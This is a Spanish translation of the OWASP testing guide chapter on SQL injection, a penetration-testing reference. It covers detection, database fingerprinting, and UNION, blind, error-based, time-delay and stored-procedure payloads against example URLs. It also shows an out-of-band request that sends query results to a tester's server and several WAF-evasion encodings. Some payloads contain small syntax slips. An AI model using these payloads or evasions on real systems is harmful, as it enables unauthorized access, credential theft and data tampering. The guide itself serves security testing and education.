Ataques de inyección SQL

Extraído de la url

<https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)#Example_1_.28classical_SQL_Injection.29>:

## Resumen

Un ataque de inyección SQL consiste en la inserción de código SQL parcial o completo mediante los datos de entrada o transmitido por el cliente (navegador) a la aplicación web. Si tiene éxito, puede leer información sensible de la bbdd, modificar datos, ejecutar operaciones administrativas, recuperar el contenido de un archivo existente en la bbdd o escribir archivos en el sistema de archivos y, en algunos casos, enviar comandos al sistema operativo.

En general, la forma en que las aplicaciones construyen sentencias SQL mezcla sintaxis de SQL con datos enviados por el usuarrio. Ejemplo:

select title, text from news where id=$id

En el ejemplo anterior, la variable $id contiene datos enviados por el usuario, mientras que el resto del SQL es estático, con lo que esta sentencia SQL se vuelve dinámica.

Por la forma en que se construyen, el usuario puede suministrar datos elaborados para hacer que el SQL original ejecute más cosas de las que se pretendía. El ejemplo siguiente ilustra lo enviado por el usuario (“10 or 1=1”), que cambia la lógica de la sentencia SQL al modificar la cláusula WHERE al añadirle esa condición:

select title, text from news where id=10 or 1=1

Los ataques de inyección se pueden dividir en las siguientes 3 clases:

* Internos: los datos se extraen usando el mismo canal que se usa para inyectar el código SQL. Es el tipo de ataque más directo, en el que los datos obtenidos se presentan directamente en la página de la aplicación web.
* Fuera de banda: los datos se obtienen usando un canal distinto (p.ej, un email con los resultados de la consulta se genera y se envía al tester).
* De infernecia o ciegos: no hay transferencia de datos, pero el tester puede reconstruir la información enviando peticiones particulares y observando el comportamiento resultante del servidor de bbdd.

Un ataque exitoso requiere que el atacante elabore una sentencia SQL sintácticamente correcta. Si la aplicación devuelve un mensaje de error generado por una consulta incorrecta, puede ser más sencillo para el atacante reconstruir la lógica de la consutla original y por tanto, entender cómo realizar la inyección correctamente. Sin embargo, si la aplicación oculta el error, el tester deberá aplicar ingeniería inversa.

Sobre los métodos de explotar fallos de inyección SQL, hay 5 técnicas frecuentes, que se pueden combinar entre sí además:

* Operador UNION: se puede usar cuando la vulnerabilidad SQL ocurre en una sentencia SELECT, haciendo posible combinar dos consultas en una sola.
* Booleana: usar una condición booleana para verificar si ciertas condiciones son true o false.
* Basadas en errores: esta técnica fuerza un error generado por la bbdd, dando al tester información con la que refinar su ataque.
* Fuera de banda: técnica usada para obtener datos usando un canal diferente (p.ej, crear una conexión HTTP para enviar los resultados a un servidor web)
* Retardo temporal: usar comandos de bbdd (p.ej, sleep) para retrasar las respuestas en las consultas condicionales. Se usa cuando el tester no obtiene ciertos tipos de respuesta (resultado, salid o error) de la aplicación.

## Cómo hacer las pruebas

### Técnicas de detección

El primer paso en este test es entender cuándo la aplicación interactúa con el servidor de BBDD para acceder a los datos. Los ejemplos típicos son:

* Formularios de login: cuando el login se realiza vía un formulario, hay probabilidades de que las credenciales del usuario se comprueben contra una bbdd que contenga todos los usuarios y contraseñas
* Motores de búsqueda: la cadena enviada por el usuario se puede usar en una consulta que extraiga información relevante de una bbdd
* Sitios de E-Commerce: los productos y sus características (precio, stock, etc) es muy probable que estén almacenadas en una bbdd.

El tester ha de hacer una lista de todos los cambos de entrada cuyos valores se pueden usar en una consulta SQL, incluyendo campos ocultos, y luego probarlos por separado, tratando de interferir con la consulta y generar un errror. Considera también las cabeceras HTTP y las Cookies.

El primer test consiste en añadir una comilla simple (‘) o un punto y coma (;) al campo que estamos probando. Lo primero es un delimitador de cadenas en SQL y, si no se filtra adecuadamente, puede llevar a errores SQL. El segundo se usa para terminar una sentencia SQL, y si no se filtra, también es probable que genere un error. El error mostrado puede parecerse a esto (Microsoft SQL Server, en este caso):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the

character string ''.

/target/target.asp, line 113

Los delimitadores de comentarios (-- o /\* \*/, etc) y otras palabras reservadas de SQL como “AND” y “OR” se pueden usar también para hacer las pruebas. Una técnica muy sencilla pero todavía efectiva a veces es simplemente insertar una cadena donde se espera un nº, ya que se genera un error como éste:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

varchar value 'test' to a column of data type int.

/target/target.asp, line 113

Monitoriza todas las respuestas del servidor y echa un vistazo al código HTML/JS. A veces el error está presente ahí dentro pero por alguna razón no se ve en la página. Un mensaje de error completo, como los de los ejemplos, proporciona bastante información al tester de cara a un ataque de inyección exitoso.

Sin embargo, a veces las aplicaciones no dan tantos detalles: un simple “Error 500” o una página de error personalizada pueden ser mostradas, lo que significa que tendremos que usar técnicas de inyección ciega. En cualquier caso, es muy importante comprobar cada campo por separado; sólo una variable debe cambiar mientras las otras permanecen constantes, para entender con precisión qué parámetros son vulnerables y cuáles no.

### Pruebas de inyección SQL estándar

#### Ejemplo 1 (Inyección SQL clásica):

Considera la siguiente consulta SQL:

SELECT \* FROM Users WHERE Username='$username' AND Password='$password'

Una consulta similar se usa por lo general en la aplicación web para autenticar a un usuario. Si la consulta devuelve un valor, significa que dentro de la bbdd hay un usuario con ese conjunto de credenciales, por lo que puede acceder al sistema; de otro modo se deniega el acceso. Los valores de los campos de entrada se obtienen por lo general del usuario mediante un formulario. Supón que insertamos los siguientes valores:

$username = 1' or '1' = '1

$password = 1' or '1' = '1

La consulta será:

SELECT \* FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

Si suponemos que los valores de los parámetros se envían al servidor mediante el método GET, y si el dominio del sitio atacado es [www.example.com](http://www.example.com), la patición se puede hacer así:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1

Tras un pequeño análisis nos damos cuenta de que la consulta devuelve un valor (o un conjunto de ellos) porque la condición es siempre true (OR 1=1). De este modo el sistema ha autenticado al usuario sin saber su nombre ni contraseña.

En algunos sistemas la primera fila de una tabla de la bbdd suele ser de un usuario administrador. Este puede ser el perfil obtenido en algunos casos. Otro ejemplo sería el siguiente:

SELECT \* FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

En este caso hay 2 problemas: uno debido al uso de los paréntesis, y el otro al uso de MD5. Primero resolvemos el problema de los paréntesis. Simplemente consiste en añadir un nº de paréntesis de cierre hasta obtener una consulta correcta. Para resolver el 2º problema, tratamos de esquivar la 2ª condición. Añadimos a nuestra consulta un símbolo final que significa que empieza un comentario. De este modo, todo lo que siga al comentario se ignorará. Cada sistema de bbdd tiene su propia sintaxis de comentarios, pero un tipo que parece común casi a todas ellas es /\*. En Oracle el símbolo es “--“. Dicho esto, los valores que usaremos para el usuario y el password son:

$username = 1' or '1' = '1'))/\*

$password = foo

De este modo obtenemos la siguiente consulta:

SELECT \* FROM Users WHERE ((Username='1' or '1' = '1'))/\*') AND (Password=MD5('$password')))

Debido a la inclusión de un comentario en el valor de $username, la parte de la contraseña es ignorada.

La petición URL sería así:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/\*&password=foo

Esto puede devolver un nº de valores. A veces, el código de autenticación comprueba que el nº de resultados devueltos es exactamente de 1. En los ejemplos previos, esta situación sería difícil (en la bbdd hay solo un valor por usuario). Para evitar este problema, basta insertar un comando SQL que imponga la condición de que el nº de resultados devueltos sea solo uno. Para ello, usaremos el operador “LIMIT <num>”, donde <num> es el nº de resultados que queremos que sean devueltos. Respecto al ejemplo anterior, el valor del username y el password se modifica para dejarlo así:

$username = 1' or '1' = '1')) LIMIT 1/\*

$password = foo

De este modo creamos una consulta como ésta:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/\*&password=foo

#### Ejemplo 2 (consulta SELECT simple):

Considera la siguiente consulta SQL:

SELECT \* FROM products WHERE id\_product=$id\_product

Considera también la petición a un script que ejecuta la consulta anterior:

http://www.example.com/product.php?id=10

Cuando el tester lo intenta con un valor válido (10 en este caso), la aplicación devolverá la descripción de un producto. Una buena forma de probar si la aplicación es vulnerable en este escenario es jugar con la lógica, usando los operadores AND y OR.

Consider the petición:

http://www.example.com/product.php?id=10 AND 1=2

que deriva en:

SELECT \* FROM products WHERE id\_product=10 AND 1=2

En este caso, probablemente la aplicación devuelva algún mensaje diciéndonos que no hay contenido disponible, o alguna página en blanco. Entonces el tester puede enviar una sentencia que valga true y comprobar si hay un resultado válido:

http://www.example.com/product.php?id=10 AND 1=1

#### Ejemplo 3 (consultas apiladas):

Dependiento de la API que esté usando la aplicación, y del sistema de BBDD (ej: PHP + PostgreSQL, ASP+SQL SERVER), puede ser posible ejecutar varias consultas en una sola llamada:

Considera la siguiente consulta SQL:

SELECT \* FROM products WHERE id\_product=$id\_product

Una forma de explotar el escenario anterior sería:

http://www.example.com/product.php?id=10; INSERT INTO users (…)

De este modo se pueden ejecutar múltiples consultas de una vez, al margen de la primera consulta.

### Identificando la base de datos

Aunque SQL es un estándar, cada sistema de bbdd tiene sus particularidades y difiere de otros en muchos aspectos como comandos especiales, funciones para obtener datos como nombres de usuarios y bbdd, características, comentarios, etc.

Cuando el testeador se pone en plan serio, necesita saber con qué bbdd está trabajando.

1) La 1ª forma de saberlo es observar el error devuelto por la aplicación. Los siguientes son ejemplos de mensajes de error:

MySql:

You have an error in your SQL syntax; check the manual

that corresponds to your MySQL server version for the

right syntax to use near '\'' at line 1

Una UNION SELECT con version() también puede ayudar a saber la versión de la bbdd:

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1

Oracle:

ORA-00933: SQL command not properly ended

MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’

Unclosed quotation mark after the character string

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1

PostgreSQL:

Query failed: ERROR: syntax error at or near

"’" at character 56 in /www/site/test.php on line 121.

2) Si no hay mensaje de error, o son personalizados, el testeador puede intentar inyectar cadenas usando técnicas de concatenación:

**MySql**: ‘test’ + ‘ing’

**SQL Server**: ‘test’ ‘ing’

**Oracle**: ‘test’||’ing’

**PostgreSQL**: ‘test’||’ing’

### Técnicas de ataque

#### Técnica de la cláusula UNION

El operador UNION se usa en inyección SQL para una consulta a la consulta original. El resultado de esa unión será la suma de los resultados de las dos consultas. Supón que la consulta ejecutada por el servidor es la siguiente:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

Si establecemos el siguiente valor de $id:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

obtendremos esto:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

lo que unirá el resultado de la consulta original con todos los nº de tarjetas de crédito de la tabla CreditCardTable. La palabra clave ALL es necesaria para soslayar consultas que utilizan la palabra clave DISTINCT. Aun más, date cuenta de que tras los nº de tarjetas de crédito, hemos seleccionado otros dos valores. Estos valores son necesarios porque las dos consultas han de tener igual número de parámetros/columnas/campos para evitar un error de sintaxis.

El primer detalle que un testeo ha de encontrar para explotar la vulnerabilidad de inyección SQL usando esta técnica es el nº correcto de columnas en la sentencia SQL.

Para conseguirlo, el testeo puede usar ORDER BY seguiro de un nº indicando la numeración de la columna seleccionada de la bbdd:

http://www.example.com/product.php?id=10 ORDER BY 10--

Si la consulta se ejecuta con éxito, el tester puede asumir que hay 10 o más columnas en la sentencia SQL. Si falla, tiene que haber menos de 10 columnas en la consulta. Si sale algún mensaje de error, probablemente será algo así:

Unknown column '10' in 'order clause'

Cuando el tester haya encontrado el nº de columnas, el paso siguiente es encontrar el tipo de las columnas. Asumiendo que en el ejemplo anterior sean 3, el tester podría probar cada tipo de columna usando el valor NULL para ayudarse:

http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--

Si la consulta falla, el tester probablemente verá un mensaje así:

All cells in a column must have the same datatype

Si la consulta se ejecuta con éxito, la 1ª columna puede ser un entero, por lo que el tester puede proceder con la siguiente…

http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--

Dependiendo de la aplicación, tras obtener con éxito esta información puede que sólo se uestre el primer resultado al tester, porque la aplicación sólo tiene en cuenta la primera línea del conjunto de resultados. En este caso, es posible usar una cláusula LIMIT o el tester puede establecer un valor no válido, haciendo que sólo la 2ª consulta sea válida (suponiendo que no haya ningún registro en la bbdd con el ID 99999):

http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--

#### Técnica booleana

La técnica booleana es muy útil cuando el tester encuentra una situación de [Inyección SQL](https://www.owasp.org/index.php/Blind_SQL_Injection) ciego, en la que no se sabe nada del resultado de una operación. Por ejemplo, este comportamiento ocurre en casos donde el programador ha creado una página de error personalizada que no revela nada de la estructura de la consulta (o sea, que no devuelve un error SQL, sólo un error 500, 404, o así)

Mediante métodos de inferencia, es posible evitar este obstáculo y tener éxito al recuperar los valores de ciertos campos. Esto consiste en lanzar una serie de valores booleandos contra el servidor, observar las respuestas y finalmente deducir el significado de las mismas. Como siempre, consideramos el dominio [www.example.com](http://www.example.com) y suponemos que contiene un parámetro llamado id, vulnerable a inyección SQL. Esto significa que con una petición así:

http://www.example.com/index.php?id=1'

podríamos llegar a una página con un mensaje de error personalizado debido a un error de sintaxis en la consulta. Supongamos que la consulta ejecutada en el servidor es:

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

que es vulnerable con los métodos previamente vistos. Lo que queremos obtener son los valores del campo del nombre de usuario. Los tests que ejecutaremos nos permitirán obtenerlo, extrayendo dicho valor carácter a carácter. Esto es posible usando algunas funciones estándar, presentes en casi todas las bbdd. En nuestros ejemplos usaremos:

**SUBSTRING (text, start, length)**: devuelve una subcadena que empieza en “start” y de una longitud de “length”. Si “start” es mayor que la longitud del texto, devuelve un valor nulo.

**ASCII (char)**: te da el valor ASCII del caracter de entrada. Si ese carácter es 0, devuelve un valor nulo.

**LENGTH (text)**: devuelve la longitud de la cadena de entrada.

Mediante estas funciones, ejecutaremos los tests en el primer carácter y, cuando hayamos descubierto ese valor, pasaremos al segundo, y así, hasta que descubramos el valor entero. Los tests usan la función SUBSTRING para seleccionar sólo un carácter a la vez, y ASCII para obtener su valor:

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

Esto crea la siguiente consulta:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

El ejemplo previo devuelve un resultado si y solo si el primer caracter del campo del nombre de usuario es igual al valor ASCII 97.

El problema es entender de qué manera podemos distinguir los tests que devuelven true de los que devuelven false. Para esto, creamos una consulta que siempre devuelve false. Eso es posible usando esta expresión:

$Id=1' AND '1' = '2

Lo que crea la siguiente consulta:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

La respuesta del servidor será el valor “false” en nuestras pruebas. Suficiente para verificar si el valor obtenido por la ejecución de nuestro código es igual al valor obtenido del test ejecutado antes. A veces este método no funciona. En estos casos, será necesario usar filtros particulares que nos permitan eliminar el código que cambia entre las dos peticiones y obtener así una especie de plantilla. Luego, para cada petición ejecutada, extraeremos la “plantilla” relativa a la respuesta usando la misma función, y haremos una comparación entre ambas plantillas para decidir el resultado del test.

En el tema previo, no hemos tratado el problema de determinar la condición de terminación de nuestros tests (cuándo deberíamos pararnos). Un modo de hacerlo usa una característica de SUBSTRING y de LENGTH. Cuando el test compara el carácter actual con el código ASCII 0 (p.ej, el valor null) y el resultado es true, entonces o bien hemos terminado con el procedimiento de inferencia (hemos escaneado toda la cadena), o el valor que hemos analizado contiene el carácter null.

Vamos a insertar el siguiente valor para el campo Id:

$Id=1' AND LENGTH(username)=N AND '1' = '1

donde N es el nº de caracteres que hemos analizado hasta ahora (sin contar el valor null). La consulta será así:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

La consulta devuelve true o false. Is obtenemos true, entonces hemos completado la inferencia, y por tanto sabemos el valor del parámetro. En caso contrario, el carácter nulo está presente en el valor del parámetro, y debemos continuar analizando el siguiente parámetro hasta obtener el valor nulo.

Este tipo de ataque precisa de un montón de consulta. El testeador suele necesitar una herramienta automática para encontrar la vulnerabilidad.

#### Técnica basada en errores

Esta técnica es útil cuando el testeador por algún motivo no puede usar más que la técnica de ataque UNION. La técnica basada en errores consiste en forzar a la bbdd a realizar alguna operación en la que el resultado sea un error. Aquí el punto es tratar de extraer algunos datos de la bbdd y mostrar el mensaje de error. Esta técnica puede ser distinta de la DBMS (ver la sección correspondiente).

Considera la siguiente consulta:

SELECT \* FROM products WHERE id\_product=$id\_product

Considera también la petición a un script que ejecuta la consulta anterior:

http://www.example.com/product.php?id=10

La petición maliciosa sería (en Oracle 10g, p.ej):

http://www.example.com/product.php?id=10||UTL\_INADDR.GET\_HOST\_NAME( (SELECT user FROM DUAL) )--

En este ejemplo, el testeador está concatenando el valor 10 con el resultado de la función UTL\_INADDR.GET\_HOST\_NAME. Esta función de Oracle tratará de devolver el nombre del host del parámetro que se le haya pasado, que es otra consulta: el nombre del usuario. Cuando la bbdd busca el nombre de un host con el nombre de usuario de la bbdd, falla y devuelve un mensaje de error como:

ORA-292257: host SCOTT unknown

Entonces el testeador puede manipular el parámetro pasado a GET\_HOST\_NAME() y el resultado se mostrará en el mensaje de error.

#### Técnica de fuera de banda

Esta técnica es muy útil cuando el testeador se encuentra con una situación de inyección SQL ciega en la que no se sabe nada del resultado de una operación. Consiste en el uso de funciones de la bbdd para realizar una conexión fuera de banda y mostrar los resultados de la consulta inyectada como parte de la petición al servidor del testeador. Como en las técnicas basadas en errores, cada bbdd tiene sus propias funciones.

Considera la siguiente consulta:

SELECT \* FROM products WHERE id\_product=$id\_product

Considera también la petición a un script que ejecuta la consulta anterior:

http://www.example.com/product.php?id=10

La petición maliciosa sería:

http://www.example.com/product.php?id=10||UTL\_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--

En este ejemplo, el testeador está concatenando el valor 10 con el resultado de la función UTL\_HTTP.request. Esta función de Oracle tratará de conectarse a ‘testerserver’ y hacer una petición GET HTTP que contenga el resultado de la consulta “SELECT user FROM DUAL”. El testeador puede poner en marcha un servidor (como Apache) o usar la herramienta Netcat:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1

Host: testerserver.com

Connection: close

#### Técnica del retardo temporal

La técnica del retardo temporal es muy útil cuando el testeador se encuentra con una situación de inyección SQL ciega en la que no se sabe nada del resultado de una operación. Consiste en enviar una consulta inyectada y, en caso de que el condicional sea true, el tester puede monitorizar el tiempo que le ha llevado al servidor responder. Si hay un retardo, el tester puede asumir que el resultado de la consulta condicional es true. Esta técnica suele diferir algo de una bbdd a otra.

Considera la siguiente consulta:

SELECT \* FROM products WHERE id\_product=$id\_product

Considera también la petición a un script que ejecuta la consulta anterior:

http://www.example.com/product.php?id=10

La petición maliciosa sería (e.g. MySql 5.x):

http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--

En este ejemplo el testeador está comprobando si la versión de MySQL es 5.x o no, haciendo que el servidor se retrase en la respuesta 10 segundos. El testeador puede incrementar el tiempo de retardo y monitorizar las respuestas. El testeador tampoco necesita esperar la respuesta. A veces puede establecer un nº muy alto (p. ej, 100) y cancelar la respuesta después de algunos segundos.

#### Inyección de procedimientos almacenados

Al usar SQL dinámico en un procedimiento almacenado, la aplicación ha de sanear correctamente la entrada del usuario para eliminar el riesgo de inyección de código. Si no, el usuario puede meter código SQL malicioso que será ejecutado dentro del procedimiento almacenado.

Considera el siguiente **procedimiento almacenado de SQL Server**:

Create procedure user\_login @username varchar(20), @passwd varchar(20)

As

Declare @sqlstring varchar(250)

Set @sqlstring = ‘

Select 1 from users

Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd

exec(@sqlstring)

Go

Entrada del usuario:

anyusername or 1=1'

anypassword

Este procedimiento no sanea los datos de entrada, por lo que permite que el valor de retorno muestre un registro existente para dichos parámetros.

Nota: este ejemplo es improbable por el uso de SQL dinámico para loguear a un usuario, pero imagina una consulta de selección dinámica en la que el usuario elige las columnas a mostrar. El usuario podría insertar código malicioso en este escenario y comprometer los datos.

Considera el siguiente **procedimiento almacenado de SQL Server**:

Create

procedure get\_report @columnamelist varchar(7900)

As

Declare @sqlstring varchar(8000)

Set @sqlstring = ‘

Select ‘ + @columnamelist + ‘ from ReportTable‘

exec(@sqlstring)

Go

Entrada del usuario:

1 from users; update users set password = 'password'; select \*

Esto dará como resultado la actualización de todas las contraseñas de los usuarios.

#### Exploits automatizados

La mayoría de las situaciones y técnicas presentadas aquí se pueden llevar a cabo con algunas herramientas. En este artículo el testeador puede encontrar información para realizar una auditoría automatizada usando SQLMap:

<https://www.owasp.org/index.php/Automated_Audit_using_SQLMap>

### Técnicas de inyección SQL de evitación de firma

Estas técnicas se usan para saltarse defensas como los firewalls de aplicación web (WAFs) o sistemas de prevención de intrusiones (IPSs).

#### Espacio en blanco

Añadir espacios en blanco no afecta a la sentencia SQL. Por ejemplo

or 'a'='a'

or 'a' = 'a'

Añadir un caracter especial como el salto de línea o el tabulador tampoco afecta. Por ejemplo,

or

'a'=

'a'

#### Bytes nulos

Usar el byte nulo (%00) antes de cualquier carácter que está blo queando el filtro.

Por ejemplo, de esto

' UNION SELECT password FROM Users WHERE username='admin'--

a esto:

%00' UNION SELECT password FROM Users WHERE username='admin'--

#### Comentarios SQL

Añadir comentarios SQL inline puede ayudar a que la sentencia SQL sea válida y pase los filtros de inyección SQL. Por ejemplo:

' UNION SELECT password FROM Users WHERE name='admin'--

Añadiendo comentarios SQL quedará así:

'/\*\*/UNION/\*\*/SELECT/\*\*/password/\*\*/FROM/\*\*/Users/\*\*/WHERE/\*\*/name/\*\*/LIKE/\*\*/'admin'--

'/\*\*/UNI/\*\*/ON/\*\*/SE/\*\*/LECT/\*\*/password/\*\*/FROM/\*\*/Users/\*\*/WHE/\*\*/RE/\*\*/name/\*\*/LIKE/\*\*/'admin'--

#### Codificación de URLs

Usa el siguiente codificador online de URLS para codificar la sentencia SQL

<http://meyerweb.com/eric/tools/dencoder/>

' UNION SELECT password FROM Users WHERE name='admin'--

Dicha sentencia quedará convertida a

%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--

#### Codificación de caracteres

La función char() se puede usar para reemplazar caracteres en inglés. Por ejemplo, char(114,111,111,116) significa “root”

' UNION SELECT password FROM Users WHERE name='root'--

Esto quedaría así:

' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--

#### Concatenación de cadenas

La concatenación rompe las palabras clave SQL y evita los filtros. La sintaxis de concatenación varía según el tipo de bbdd. Por ejemplo, en MS SQL:

select 1

se puede cambiar por lo siguiente usando concatenación:

EXEC('SEL' + 'ECT 1')

#### Codificación hexadecimal

La técnica de codificación hexadecimal se usa para reemplazar los caracteres originales de la sentencia SQL. Por ejemplo, 'root' se puede representar como 726F6F74

Select user from users where name = 'root'

La sentencia SQL usando un valor hexadecimal será:

Select user from users where name = 726F6F74

o

Select user from users where name = unhex('726F6F74')

#### Declarar variables

Declarar la sentencia de inyección SQL en una variable y ejecutarla. Por ejemplo, la sentencia de inyección SQL siguiente:

Union Select password

Definir la sentencia SQL en la variable SQLivar

; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');

EXEC(@SQLivar)

#### Expresiones alternativas para 'or 1 = 1'

* OR 'SQLi' = 'SQL'+'i'
* OR 'SQLi' > 'S'
* or 20 > 1
* OR 2 between 3 and 1
* OR 'SQLi' = N'SQLi'
* 1 and 1 = 1
* 1 || 1 = 1
* 1 && 1 = 1

## Notas

Ver también la página al respecto en la documentación oficial de PHP:

<http://php.net/manual/es/security.database.sql-injection.php>